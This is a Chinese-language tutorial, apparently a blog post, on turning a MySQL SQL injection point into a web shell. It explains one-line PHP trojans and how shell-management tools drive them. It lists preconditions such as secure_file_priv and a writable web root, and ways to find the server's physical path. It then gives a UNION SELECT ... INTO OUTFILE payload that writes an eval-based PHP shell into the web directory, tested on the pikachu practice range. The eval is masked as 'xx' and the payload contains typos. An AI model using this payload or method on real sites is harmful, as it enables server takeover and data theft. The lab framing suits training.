一、引入
木马介绍:
木马其实就是一段程序,这个程序运行到目标主机上时,主要可以对目标进行远程控制、盗取信息等功能,一般不会破坏目标主机,当然,这也看黑客是否想要搞破坏。
木马类型:
按照功能 分类:远控型、破坏型、流氓软件型、盗取信息型等等
按照连接方式 分类:正向连接、反向连接、无连接等
按照功能大小分类:大马、小马、一句话木马
不同的开发语言,都可以写出这些木马程序,网上也能找到很多别人写好的木马程序拿来使用,但是使用别人的木马程序要小心程序中的后门,因为你的劳动成果很有可能被后门窃取了。
大致过程:
我们要通过sql注入点来写入一句话木马程序到目标服务器。 通过网址 和连接密码 就可以连接上我们上传的一句话木马程序,通过工具(eg:菜刀,蚁剑,冰蝎,哥斯拉等)就可以控制目标主机了。
原理:其实就是该工具给我们上传的相应php文件中的一句话木马程序发送了post请求,并且携带了指令数据,数据格式 :jaden:系统指令 ,eg:jaden:dir,那么一句话木马中 $_POST('jaden')取出dir这个字符串的值,eval这个程序就是将字符串的指令带入到系统中当作系统指令来执行。然后将执行结果返回给了工具,工具再显示出来。
利用条件:
1.木马上传成功 了(访问创建的木马程序时不会报错!)
2.知道木马的路径 在哪里
3.上传的木马能够正常运行
一、SQL注入getshell前提条件
1.mysql开启了**"secure_file_priv="""** 的配置
2.知道了网站代码的真实物理路径
3.物理路径具备写入权限
4.最好是mysql的root用户 ,这个条件非必需,但是有最好
如图:开启配置
Jadenkal2021\] \[Win10_tools\] \[Jaden2003gongfan
补:
①mysql开启**"secure_file_priv=""**的配置:
在my.ini文件(上篇文章已具体介绍该文件在哪个位置,在这里不再具体说明)中添加--即可开启

②获得后台真实物理路径的方法
1、收集站点敏感目录 ,比如phpinfo.php探针文件是否可以访问到
2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错 ,看错误信息中是否存在路径信息
3、指纹信息收集
nginx 默认站点目录:/usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache 默认站点目录:/var/ww/html4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
5、其他思路:不断进行尝试。
先来测试一下在数据库中用sql语句创建文件:

在相应目录下打开查看是否创建成功


二、测试
在pikachu靶场(依然以字符型注入为例)进行尝试(!!!一定要确定这里有注入点才可进行测试,否则无效)
①通过注入点(在数据库中先进行了测试) 写入木马程序
union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\IphpStudy\\PHPTutorial\\ww\\jaden.php"+--+
++xx++表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。
注入:
开始正式注入测试
在URL后面添加语句:union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\\IphpStudy\\PHPTutorial\ww\\jaden.php"+--+

文件效果:

只要这个**'一句话木马程序'** 在用sql语句创建的文件里,不论在哪个位置,都可以利用它!
利用工具连接:

连接成功!
